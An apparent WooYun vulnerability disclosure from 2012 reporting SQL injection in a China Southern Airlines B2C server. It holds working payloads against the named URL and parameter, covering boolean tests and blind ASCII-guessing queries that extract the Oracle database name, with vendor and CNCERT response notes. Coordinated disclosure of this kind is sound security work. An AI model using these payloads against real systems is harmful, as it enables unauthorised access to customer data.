当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015941

漏洞标题:中国南方航空某B2C服务器存在SQL注入可获取用户信息

相关厂商:中国南方航空

漏洞作者: rivers

提交时间:2012-12-13 08:36

修复时间:2013-01-27 08:37

公开时间:2013-01-27 08:37

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-13: 细节已通知厂商并且等待厂商处理中
2012-12-14: 厂商已经确认,细节仅向厂商公开
2012-12-24: 细节向核心白帽子及相关领域专家公开
2013-01-03: 细节向普通白帽子公开
2013-01-13: 细节向实习白帽子公开
2013-01-27: 细节向公众公开

简要描述:

SQL注入导致攻击者可以获取该B2C服务器数据库中的数据库表、字段、数据信息。

详细说明:

利用http://ec.csair.com/B2C/data/minorenterprises/getQuestionByUserId.xsql?userId=-1中参数userId未过滤实施注入。

漏洞证明:

http://ec.csair.com/B2C/data/minorenterprises/getQuestionByUserId.xsql?userId=-1' or '1' = '2
返回

22.jpg


http://ec.csair.com/B2C/data/minorenterprises/getQuestionByUserId.xsql?userId=-1' or '1' = '1
返回

21.jpg


可知存在SQL注入,利用该注入点,由于不支持union,通过猜字符ascii码的方式对数据库进行猜解:
http://ec.csair.com/B2C/data/minorenterprises/getQuestionByUserId.xsqluserId=-1' OR ascii(substr((select sys_context('userenv','db_name') from dual),1,1))>110 OR '1'='2 返回page内容为空的xml;
http://ec.csair.com/B2C/data/minorenterprises/getQuestionByUserId.xsqluserId=-1' OR ascii(substr((select sys_context('userenv','db_name') from dual),1,1))=101 OR '1'='2 返回page内容为<QUESTION>我父亲的名字</QUESTION>的xml;
以此类推,猜解到db_name的第一个字母为e,从而进一步猜解到数据库名称为:ecsdb、用户名称为:ECS、数据库表共461个、字段、内容:

未命名231.jpg


232.jpg

修复方案:

建议检查应用程序代码,对用户输入、URL参数、POST参数和Cookie参数进行过滤。

版权声明:转载请注明来源 rivers@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2012-12-14 16:00

厂商回复:

CNVD确认并复现所述情况(SQLMAP),并已转由CNCERT广东分中心协调涉事单位,同时结合14日出现的多起南航相关网站事件,拟在下周将这多起事件统一通报民航行业信息化主管部门。
按完全影响机密性进行评分,基本危害评分7.79(高危),发现技术难度系数1.0,涉及行业或单位影响系数1.5,综合rank=11.685

最新状态:

暂无


漏洞评价:

评论